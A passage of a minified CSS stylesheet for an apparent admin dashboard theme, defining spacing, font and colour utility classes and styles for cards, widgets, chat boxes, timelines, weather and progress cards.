10px !important; } .pl-10 { padding-left: 10px !important; } .pr-10 { padding-right: 10px !important; } .m10 { margin: 10px !important; } .mt-10 { margin-top: 10px !important; } .mb-10 { margin-bottom: 10px !important; } .ml-10 { margin-left: 10px !important; } .mr-10 { margin-right: 10px !important; } .p15 { padding: 15px !important; } .pt-15 { padding-top: 15px !important; } .pb-15 { padding-bottom: 15px !important; } .pl-15 { padding-left: 15px !important; } .pr-15 { padding-right: 15px !important; } .m15 { margin: 15px !important; } .mt-15 { margin-top: 15px !important; } .mb-15 { margin-bottom: 15px !important; } .ml-15 { margin-left: 15px !important; } .mr-15 { margin-right: 15px !important; } .p20 { padding: 20px !important; } .pt-20 { padding-top: 20px !important; } .pb-20 { padding-bottom: 20px !important; } .pl-20 { padding-left: 20px !important; } .pr-20 { padding-right: 20px !important; } .m20 { margin: 20px !important; } .mt-20 { margin-top: 20px !important; } .mb-20 { margin-bottom: 20px !important; } .ml-20 { margin-left: 20px !important; } .mr-20 { margin-right: 20px !important; } .p25 { padding: 25px !important; } .pt-25 { padding-top: 25px !important; } .pb-25 { padding-bottom: 25px !important; } .pl-25 { padding-left: 25px !important; } .pr-25 { padding-right: 25px !important; } .m25 { margin: 25px !important; } .mt-25 { margin-top: 25px !important; } .mb-25 { margin-bottom: 25px !important; } .ml-25 { margin-left: 25px !important; } .mr-25 { margin-right: 25px !important; } .p30 { padding: 30px !important; } .pt-30 { padding-top: 30px !important; } .pb-30 { padding-bottom: 30px !important; } .pl-30 { padding-left: 30px !important; } .pr-30 { padding-right: 30px !important; } .m30 { margin: 30px !important; } .mt-30 { margin-top: 30px !important; } .mb-30 { margin-bottom: 30px !important; } .ml-30 { margin-left: 30px !important; } .mr-30 { margin-right: 30px !important; } .p35 { padding: 35px !important; } .pt-35 { padding-top: 35px !important; } .pb-35 { padding-bottom: 35px !important; } .pl-35 { padding-left: 35px !important; } .pr-35 { padding-right: 35px !important; } .m35 { margin: 35px !important; } .mt-35 { margin-top: 35px !important; } .mb-35 { margin-bottom: 35px !important; } .ml-35 { margin-left: 35px !important; } .mr-35 { margin-right: 35px !important; } .p40 { padding: 40px !important; } .pt-40 { padding-top: 40px !important; } .pb-40 { padding-bottom: 40px !important; } .pl-40 { padding-left: 40px !important; } .pr-40 { padding-right: 40px !important; } .m40 { margin: 40px !important; } .mt-40 { margin-top: 40px !important; } .mb-40 { margin-bottom: 40px !important; } .ml-40 { margin-left: 40px !important; } .mr-40 { margin-right: 40px !important; } .p45 { padding: 45px !important; } .pt-45 { padding-top: 45px !important; } .pb-45 { padding-bottom: 45px !important; } .pl-45 { padding-left: 45px !important; } .pr-45 { padding-right: 45px !important; } .m45 { margin: 45px !important; } .mt-45 { margin-top: 45px !important; } .mb-45 { margin-bottom: 45px !important; } .ml-45 { margin-left: 45px !important; } .mr-45 { margin-right: 45px !important; } .p50 { padding: 50px !important; } .pt-50 { padding-top: 50px !important; } .pb-50 { padding-bottom: 50px !important; } .pl-50 { padding-left: 50px !important; } .pr-50 { padding-right: 50px !important; } .m50 { margin: 50px !important; } .mt-50 { margin-top: 50px !important; } .mb-50 { margin-bottom: 50px !important; } .ml-50 { margin-left: 50px !important; } .mr-50 { margin-right: 50px !important; } .f-10 { font-size: 10px; } .f-12 { font-size: 12px; } .f-14 { font-size: 14px; } .f-16 { font-size: 16px; } .f-18 { font-size: 18px; } .f-20 { font-size: 20px; } .f-22 { font-size: 22px; } .f-24 { font-size: 24px; } .f-26 { font-size: 26px; } .f-28 { font-size: 28px; } .f-30 { font-size: 30px; } .f-32 { font-size: 32px; } .f-34 { font-size: 34px; } .f-36 { font-size: 36px; } .f-38 { font-size: 38px; } .f-40 { font-size: 40px; } .f-42 { font-size: 42px; } .f-44 { font-size: 44px; } .f-46 { font-size: 46px; } .f-48 { font-size: 48px; } .f-50 { font-size: 50px; } .f-52 { font-size: 52px; } .f-54 { font-size: 54px; } .f-56 { font-size: 56px; } .f-58 { font-size: 58px; } .f-60 { font-size: 60px; } .f-62 { font-size: 62px; } .f-64 { font-size: 64px; } .f-66 { font-size: 66px; } .f-68 { font-size: 68px; } .f-70 { font-size: 70px; } .f-72 { font-size: 72px; } .f-74 { font-size: 74px; } .f-76 { font-size: 76px; } .f-78 { font-size: 78px; } .f-80 { font-size: 80px; } .fw-100 { font-weight: 100; } .fw-200 { font-weight: 200; } .fw-300 { font-weight: 300; } .fw-400 { font-weight: 400; } .fw-500 { font-weight: 500; } .fw-600 { font-weight: 600; } .fw-700 { font-weight: 700; } .fw-800 { font-weight: 800; } .fw-900 { font-weight: 900; } .img-20 { width: 20px; } .img-30 { width: 30px; } .img-40 { width: 40px; } .img-50 { width: 50px; } .img-60 { width: 60px; } .img-70 { width: 70px; } .img-80 { width: 80px; } .img-90 { width: 90px; } .img-100 { width: 100px; } .b-t-primary { border-top: 1px solid #007bff; } .b-b-primary { border-bottom: 1px solid #007bff; } .b-l-primary { border-left: 1px solid #007bff; } .b-r-primary { border-right: 1px solid #007bff; } .b-primary { border: 1px solid #007bff; } .b-t-warning { border-top: 1px solid #fb6340; } .b-b-warning { border-bottom: 1px solid #fb6340; } .b-l-warning { border-left: 1px solid #fb6340; } .b-r-warning { border-right: 1px solid #fb6340; } .b-warning { border: 1px solid #fb6340; } .b-t-danger { border-top: 1px solid #f5365c; } .b-b-danger { border-bottom: 1px solid #f5365c; } .b-l-danger { border-left: 1px solid #f5365c; } .b-r-danger { border-right: 1px solid #f5365c; } .b-danger { border: 1px solid #f5365c; } .b-t-success { border-top: 1px solid #2dce89; } .b-b-success { border-bottom: 1px solid #2dce89; } .b-l-success { border-left: 1px solid #2dce89; } .b-r-success { border-right: 1px solid #2dce89; } .b-success { border: 1px solid #2dce89; } .b-t-inverse { border-top: 1px solid #4c5667; } .b-b-inverse { border-bottom: 1px solid #4c5667; } .b-l-inverse { border-left: 1px solid #4c5667; } .b-r-inverse { border-right: 1px solid #4c5667; } .b-inverse { border: 1px solid #4c5667; } .b-t-info { border-top: 1px solid #11cdef; } .b-b-info { border-bottom: 1px solid #11cdef; } .b-l-info { border-left: 1px solid #11cdef; } .b-r-info { border-right: 1px solid #11cdef; } .b-info { border: 1px solid #11cdef; } .bg-default { background-color: #d6d6d6 !important; } .bg-theme { background-color: #ef4153 !important; } .bg-aqua { background-color: #3ec5d6 !important; } .bg-blue { background-color: #19B5FE !important; } .bg-light-blue { background-color: #89CFF0 !important; } .bg-teal { background-color: #008081 !important; } .bg-yellow { background-color: #F7CA18 !important; } .bg-orange { background-color: #FF8000 !important; } .bg-green { background-color: #26C281 !important; } .bg-lime { background-color: #cad900 !important; } .bg-red { background-color: #F22613 !important; } .bg-fuchsia { background-color: #df2de3 !important; } .bg-navy { background-color: #000080 !important; } .bg-empty { background: transparent !important; } .bg-primary { background-color: #007bff !important; } .bg-success { background-color: #2dce89 !important; } .bg-info { background-color: #11cdef !important; } .bg-warning { background-color: #fb6340 !important; } .bg-danger { background-color: #f5365c !important; } .bg-muted { background-color: #6c757d !important; } .bg-inverse { background-color: #4c5667 !important; } .bg-purple { background-color: #BF55EC !important; } .bg-pink { background-color: #f76397 !important; } .bg-white { background-color: #ffffff !important; } .bg-facebook { background-color: #3b579d !important; } .bg-twitter { background-color: #1da1f2 !important; } .bg-google { background-color: #dc4a38 !important; } .bg-linkedin { background-color: #0177b4 !important; } .text-default { color: #d6d6d6 !important; } .text-blue { color: #19B5FE !important; } .text-light-blue { color: #89CFF0 !important; } .text-teal { color: #008081 !important; } .text-navy { color: #000080 !important; } .text-lime { color: #cad900 !important; } .text-orange { color: #FF8000 !important; } .text-yellow { color: #F7CA18 !important; } .text-aqua { color: #3ec5d6 !important; } .text-white { color: #ffffff !important; } .text-danger { color: #f5365c !important; } .text-green { color: #26C281 !important; } .text-primary { color: #007bff !important; } .text-warning { color: #fb6340 !important; } .text-success { color: #2dce89 !important; } .text-info { color: #11cdef !important; } .text-inverse { color: #4c5667 !important; } .text-pink { color: #f76397 !important; } .text-purple { color: #BF55EC !important; } .text-dark { color: #212121 !important; } .text-fuchsia { color: #df2de3 !important; } .text-red { color: #F22613 !important; } .text-facebook { color: #3b579d !important; } .text-twitter { color: #1da1f2 !important; } .text-instagram { color: #fb3958 !important; } .text-google { color: #dc4a38 !important; } .text-linkedin { color: #0177b4 !important; } .text-behance { color: #053eff !important; } .text-dribbble { color: #ea4c89 !important; } .text-red { color: #F22613 !important; } .min-width-zero { min-width: 0; } .w-10 { width: 10% !important; } .w-90 { width: 90% !important; } .w-12 { width: 12% !important; } .w-88 { width: 88% !important; } .w-15 { width: 15% !important; } .w-85 { width: 85% !important; } .w-20 { width: 20% !important; } .w-80 { width: 80% !important; } .w-30 { width: 30% !important; } .w-70 { width: 70% !important; } .w-40 { width: 40% !important; } .w-60 { width: 60% !important; } .hidden { display: none !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } .invisible { visibility: hidden; } .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } @media only screen and (max-width: 1023px) { .w-sm-100 { width: 100% !important; } } @media only screen and (max-width: 767px) { .w-xs-100 { width: 100% !important; } } .card { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-header { padding: 20px 20px; border: 0; background: none; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .card-header:first-child { border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; } .card .card-header h3 { margin: 0; font-size: 18px; font-weight: normal; color: #212121; } .card .card-header .card-options a:not(.dropdown-item) { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 33px; color: #212121; display: inline-block; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .card .card-header .card-options span { color: #444; font-size: 12px; } .card .card-header .card-search { position: relative; } .card .card-header .card-search .form-control { padding-right: 60px; font-size: 14px; max-height: 30px; min-height: 30px; } .card .card-header .card-search .form-control ~ .btn { position: absolute; right: 0; top: 0; padding: 0; width: 30px; height: 30px; line-height: 30px; border-radius: 4px; background-color: #eceff1; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-btn { background-color: transparent; border: 0; position: absolute; right: 30px; top: 0; width: 30px; height: 30px; line-height: 30px; padding: 0; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-search-wrap { padding: 20px; display: none; position: absolute; left: 30px !important; width: 100%; top: 30px; background-color: #ffffff; z-index: 4; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control { padding-right: 15px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .btn { padding: 0 15px; font-size: 14px; height: 30px; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-header .card-search.with-adv-search .adv-search-wrap.show { display: block; } .card .card-header.note-toolbar { padding: 0 0 5px 5px; } .card .card-header .dropdown .checkbox-dropdown { padding: 0px; width: 16px; height: 16px; background-color: #dee2e6; border-radius: .25rem; margin-right: 15px; } .card .card-body { padding: 20px 20px; flex: 1 1 auto; position: relative; } .card .card-img { height: 100%; object-fit: cover; max-height: 200px; width: unset; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); padding: 1.75rem; border-radius: 4px; } .card.icon-card .card-body i { font-size: 46px; line-height: 66px; color: #212121; } .card.icon-card .card-body .card-text { color: #8f8f8f; height: 30px; line-height: 26px; } .card.icon-card .card-body .lead { color: #212121; margin-bottom: 0; } .card .nav-pills.custom-pills { border-bottom: 1px solid #f1f1f1; } .card .nav-pills.custom-pills .nav-link { border-radius: 0; opacity: .7; font-size: 14px; padding: 12px 15px; } .card .nav-pills.custom-pills .nav-link.active { color: #ef4153; opacity: 1; background-color: transparent; border-bottom: 2px solid #ef4153; } .widget { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; background-color: #fff; overflow: hidden; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .widget .widget-header { padding: 10px 20px; border-bottom: 1px solid #f5f7f9; position: relative; } .widget .widget-header .widget-title { font-size: 18px; margin: 0; } .widget .widget-header .widget-tools { position: absolute; right: 10px; top: 5px; } .widget .widget-header .widget-tools .btn-widget-tool { padding: 5px; font-size: 16px; background: transparent; color: #97a0b3; } .widget .widget-header .widget-tools .btn-widget-tool i { margin: 0; } .widget .widget-header .widget-tools .btn-widget-tool:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .widget .widget-body { padding: 20px 20px; } .widget .widget-body h6 { margin-bottom: 0; font-weight: 400; } .widget .widget-body h2 { margin-bottom: 0px; font-weight: 600; } .widget .widget-body .icon { font-size: 37px; color: #9aa0ac; } .widget .widget-body .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.22); text-align: center; z-index: 3; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .widget .widget-body .overlay i { font-size: 32px; color: #ef4153; margin-bottom: 5px; } .widget .progress { border-radius: 0; } .widget[class*=bg-] .widget-header { background-color: rgba(255, 255, 255, 0.2); border-bottom-color: transparent; } .widget[class*=bg-] .widget-header .widget-title { color: #fff; } .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool { color: rgba(255, 255, 255, 0.6); } .widget[class*=bg-] .widget-body { color: #ffffff; } .widget[class*=bg-] .widget-body .icon { color: #ffffff; } .widget.social-widget .widget-body { text-align: center; } .loading { -webkit-animation-name: loading; animation-name: loading; -webkit-animation-duration: .75s; animation-duration: .75s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-timing-function: linear; animation-timing-function: linear; } @-webkit-keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } @keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } .card-group .card:not(:last-child) { border-right: 1px solid #f1f1f1; } .card .card-header { border-bottom: 1px solid #f1f1f1; } .card .card-header .card-header-right { right: 10px; top: 16px; display: inline-block; float: right; position: absolute; } .card .card-header .card-header-right .card-option { width: 35px; height: 25px; overflow: hidden; margin: 0; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .card .card-header .card-header-right .card-option li { display: inline-block; } .card .card-header .card-header-right .card-option li i { margin: 0 5px; cursor: pointer; font-size: 15px; color: #8c8c8c; line-height: 2; font-weight: 300; } .card .card-block { padding: 1.25rem; } .card .card-body .icon { font-size: 37px; color: #9aa0ac; } .card .feeds-widget { padding: 0; } .card .feeds-widget .feed-item { display: block; padding: 12px 15px; border: 1px solid #efefef; border-left: 0; border-right: 0; } .card .feeds-widget .feed-item a { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .feeds-widget .feed-item a .feeds-left { width: 50px; font-size: 30px; } .card .feeds-widget .feed-item a .feeds-body { width: 100%; } .card .feeds-widget .feed-item a .feeds-body h4 { font-size: 16px; margin: 0; font-weight: 700; margin-bottom: 5px; } .card .feeds-widget .feed-item a .feeds-body h4 ~ small { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width: calc(100% - 60px); font-size: 13px; color: #777; } .card .feeds-widget .feed-item.feed-item { margin-top: -1px; } .card .timeline .header { background-size: cover; color: #fff; position: relative; } .card .timeline .header .color-overlay { padding: 2em; box-sizing: border-box; background: rgba(123, 94, 155, 0.5); line-height: normal; } .card .timeline .header .color-overlay .day-number { font-size: 6em; margin-right: 15px; display: inline-block; font-weight: 700; line-height: 1; } .card .timeline .header .color-overlay .date-right { display: inline-block; } .card .timeline .header .color-overlay .date-right .day-name { font-size: 22px; } .card .timeline .header .color-overlay .date-right .month { text-transform: uppercase; margin-top: 2px; } .card .timeline ul { list-style: none; position: relative; padding-left: 30px; padding-top: 10px; margin: 0; } .card .timeline ul:before, .card .timeline ul::before { content: ' '; height: 100%; width: 1px; background-color: #f0f0f0; position: absolute; top: 0; left: 35px; z-index: 1; } .card .timeline ul li { padding-bottom: 15px; } .card .timeline ul li .bullet { width: 10px; height: 10px; display: inline-block; z-index: 2; position: relative; vertical-align: top; margin: 7px 0; margin-right: 5px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .timeline ul li .time { width: 20%; font-size: 10px; margin: 6px 0; vertical-align: top; display: inline-block; } .card .timeline ul li .desc { width: 65%; display: inline-block; } .card .timeline ul li .desc h3 { margin: 0; font-size: 14px; font-weight: 700; } .card .timeline ul li .desc h4 { margin-top: 5px; font-size: 12px; color: #999; } .card .task-list { margin: 0; padding: 0; } .card .task-list li { display: block; padding: 15px 0 15px 0; margin: 0; cursor: pointer; } .card .task-list li:first-child { padding-top: 0; } .card .task-list li.list span { float: left; margin-top: 20px; color: #FF7E39; } .card .task-list li.list span:before, .card .task-list li.list span::before { font-size: 1.5rem; content: "\e83f"; font-family: 'iconkit'; vertical-align: middle; border: 3px solid #FF7E39; padding: 4px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .task-list li.list .task-details { margin-left: 60px; } .card .task-list li.list .task-details p { margin: 0; padding: 10px 0 6px 0; line-height: 140%; } .card .task-list li.list .task-details p.date { padding: 0; margin: 0; font-size: .75rem; } .card .task-list li.completed { text-decoration: line-through; color: #8796af; -moz-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; -webkit-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .card .task-list li.completed span:before, .card .task-list li.completed span::before { color: #50b924; border: 3px solid #50b924; } .card .chat-box .chat-list { margin: 0; padding: 0; list-style: none; } .card .chat-box .chat-list .chat-item { list-style: none; margin-top: 30px; } .card .chat-box .chat-list .chat-item .chat-img { display: inline-block; width: 45px; vertical-align: top; } .card .chat-box .chat-list .chat-item .chat-img img { width: 45px; border-radius: 100%; -webkit-border-radius: 100%; -moz-border-radius: 100%; } .card .chat-box .chat-list .chat-item .chat-content { width: calc(100% - 50px); display: inline-block; padding-left: 15px; } .card .chat-box .chat-list .chat-item .chat-content .box { display: inline-block; padding: 10px; margin-bottom: 3px; color: #343a40; background: #f6f8f9; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .chat-box .chat-list .chat-item .chat-time { display: block; font-size: 10px; color: #4F5467; margin: 5px 0 15px 65px; } .card .chat-box .chat-list .chat-item.odd .chat-content { text-align: right; width: calc(100% - 0px); } .card .chat-box .chat-list .chat-item.odd .chat-content .box { clear: both; color: #fff; background: #137eff; } .card .chat-box .chat-list .chat-item.odd .chat-time { text-align: right; } .card .chat-box .chat-list .chat-item.odd + .odd { margin-top: 0; } .card .chat-box .chat-list .chat-item:first-child { margin-top: 0; } .card .chat-footer { position: relative; background-color: #ffffff; } .card .chat-footer .input-wrap { padding-right: 50px; } .card .chat-footer .btn { position: absolute; top: 10px; right: 20px; width: 35px; height: 35px; } .card .card-title { font-size: 18px; } .card .card-subtitle { font-weight: 300; margin-bottom: 10px; color: #afb5c1; } .jvectormap-tip { border: none; font-family: 'Nunito Sans', sans-serif; font-weight: 700; padding: 5px 10px; font-size: 11px; } .chart-line .ct-grid { stroke-dasharray: 0; stroke: rgba(255, 255, 255, 0.5); } .chart-line .ct-point { stroke-width: 0; } .chart-line .ct-line { stroke: #FFF; stroke-width: 3px; } .chart-shadow { transition: all 0.3s ease-in-out; filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2)); } .card-blue, .card-green, .card-red, .card-yellow { position: relative; overflow: hidden; } .card-blue:after, .card-green:after, .card-red:after, .card-yellow:after { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 1; } .card-blue .card-block, .card-blue .card-block-big, .card-blue .card-block-small, .card-blue .card-body, .card-blue .card-footer, .card-blue .card-header, .card-green .card-block, .card-green .card-block-big, .card-green .card-block-small, .card-green .card-body, .card-green .card-footer, .card-green .card-header, .card-red .card-block, .card-red .card-block-big, .card-red .card-block-small, .card-red .card-body, .card-red .card-footer, .card-red .card-header, .card-yellow .card-block, .card-yellow .card-block-big, .card-yellow .card-block-small, .card-yellow .card-body, .card-yellow .card-footer, .card-yellow .card-header { position: relative; z-index: 5; } .card-red::after { background: #f5365c; } .card-red .ct-line { stroke: #fff; } .card-red .ct-grid { stroke: #f97f97; } .card-blue::after { background: #007bff; } .card-blue .ct-line { stroke: #fff; } .card-blue .ct-grid { stroke: #4da3ff; } .card-green::after { background: #2dce89; } .card-green .ct-line { stroke: #fff; } .card-green .ct-grid { stroke: #69deac; } .card-yellow::after { background: #fb6340; } .card-yellow .ct-line { stroke: #fff; } .card-yellow .ct-grid { stroke: #fda08b; } .proj-progress-card .progress { height: 6px; overflow: visible; margin-bottom: 10px; } .proj-progress-card .progress .progress-bar { position: relative; } .proj-progress-card .progress .progress-bar:after { content: ""; background: #fff; position: absolute; right: -6px; top: -4px; border-radius: 50%; width: 15px; height: 15px; } .proj-progress-card .progress .progress-bar.bg-red:after { border: 3px solid #f5365c; } .proj-progress-card .progress .progress-bar.bg-blue:after { border: 3px solid #007bff; } .proj-progress-card .progress .progress-bar.bg-green:after { border: 3px solid #2dce89; } .proj-progress-card .progress .progress-bar.bg-yellow:after { border: 3px solid #fb6340; } @media only screen and (max-width: 992px) { .proj-progress-card h6 { margin-top: 15px; } .proj-progress-card .progress { margin-bottom: 30px; } } .sos-st-card h3 { display: inline-block; } .sos-st-card h3 i { color: #fff; font-size: 18px; width: 60px; height: 60px; border-radius: 50%; padding: 12px 0; text-align: center; margin-right: 15px; border: 10px solid transparent; transition: all 0.3s ease-in-out; } .sos-st-card h5 { position: relative; } .sos-st-card h5:after { content: ""; background: #d2d2d2; position: absolute; top: -20px; right: -15px; width: 1px; height: 60px; } .sos-st-card.facebook h3 { color: #3b579d; } .sos-st-card.facebook h3 i { background-color: #3b579d; border-color: #869cd2; } .sos-st-card.twitter h3 { color: #1da1f2; } .sos-st-card.twitter h3 i { background-color: #1da1f2; border-color: #96d3f9; } .sos-st-card.linkedin h3 { color: #0177b4; } .sos-st-card.linkedin h3 i { background-color: #0177b4; border-color: #37bafe; } .sos-st-card.dribble h3 { color: #ea4c89; } .sos-st-card.dribble h3 i { background-color: #ea4c89; border-color: #f7bed4; } .sos-st-card:hover h3 i { transform: scale(1.2) rotate(35deg); } @media only screen and (max-width: 768px) { .sos-st-card h3 i { font-size: 16px; width: 35px; height: 35px; padding: 7px 0; margin-right: 0; border-width: 3px; margin-left: -10px; } .sos-st-card h5:after { display: none; } } .wather-card { overflow: hidden; } .wather-card .wather-card-top { position: relative; overflow: hidden; min-height: 200px; background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5)); } .wather-card .wather-card-top .wave { position: absolute; left: 0; right: 0; top: auto; bottom: 0; z-index: 1; } .wather-card .wather-card-top .wave + .wave { z-index: 2; } .wather-card .wather-card-top .wave + .wave + .wave { z-index: 3; } .wather-card .wather-card-top .sun { background: #fff; position: absolute; top: 50px; left: 50px; width: 30px; height: 30px; border-radius: 50%; } .wather-card .wather-card-top .sun:after, .wather-card .wather-card-top .sun:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .wather-card .wather-card-top .sun:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .wather-card .wather-card-top .sun:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .wather-card .wather-card-top .w-star1, .wather-card .wather-card-top .w-star2 { position: absolute; top: 0; left: 0; width: 100%; } .wather-card .wather-card-top .w-star1 { animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .wather-card .wather-card-top .w-star2 { animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .wather-card .wather-card-top .w-cloud { position: absolute; right: 30px; top: 60px; opacity: 0; animation: w-cluod 15s linear infinite; } @keyframes w-cluod { 0% { opacity: 0; transform: translate(0px, 0px); } 20% { opacity: 0.8; transform: translate(30px, -25px); } 40% { opacity: 1; transform: translate(0px, 0px); } 60% { opacity: 0.6; transform: translate(-30px, 25px); } 80% { opacity: 0.5; transform: translate(0px, 0px); } 80% { opacity: 0; transform: translate(0px, 0px); } } @keyframes sparcle { 0% { opacity: 1; } 50% { opacity: 0; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } .comp-card i { color: #fff; width: 50px; height: 50px; border-radius: 5px; text-align: center; padding: 17px 0; font-size: 18px; text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18); transition: all 0.3s ease-in-out; } .comp-card:hover i { border-radius: 50%; } .proj-t-card { position: relative; overflow: hidden; } .proj-t-card .pt-badge { color: #fff; margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18); } .proj-t-card:hover .pt-badge { padding: 65px 55px 30px 30px; text-shadow: 0 3px 5px rgba(62, 57, 107, 0.5); box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.3); } .prod-p-card i { background-color: #fff; width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 18px; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px rgba(62, 57, 107, 0.2); } .prod-p-card:hover i { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2); transform: scale(0.9) translatey(5px); } .ticket-card .lbl-card { box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16); border-radius: 5px; padding: 5px 15px; color: #fff; display: inline-block; } .analytic-card .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .analytic-card:hover .analytic-icon { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2); transform: rotate(-15deg) translatey(5px); } .social-res-card .progress { height: 6px; } .product-progress-card .progress { height: 6px; } .product-progress-card .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; } .product-progress-card .pp-cont:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } .product-progress-card .pp-main > div:first-child .pp-cont:after { display: none; } @media only screen and (max-width: 992px) { .product-progress-card .pp-cont { margin-top: 15px; margin-bottom: 15px; } .product-progress-card .pp-cont:after { display: none; } } .social-card h2 { text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2); transition: all 0.3s ease-in-out; } .social-card:hover h2 { text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2); transform: scale(0.9) translatey(5px); } .user-card { overflow: hidden; } .user-card .user-img { border-radius: 50%; display: flex; align-items: center; width: 80px; height: 80px; margin: 0 auto; position: relative; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .user-card .user-img h5 { margin: 0 auto; } .user-card .user-img .link-share { position: absolute; padding: 4px 0; right: 0; bottom: 0; border-radius: 50%; width: 25px; height: 25px; background: #fff; color: #666; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .user-card .user-sub-img { position: relative; 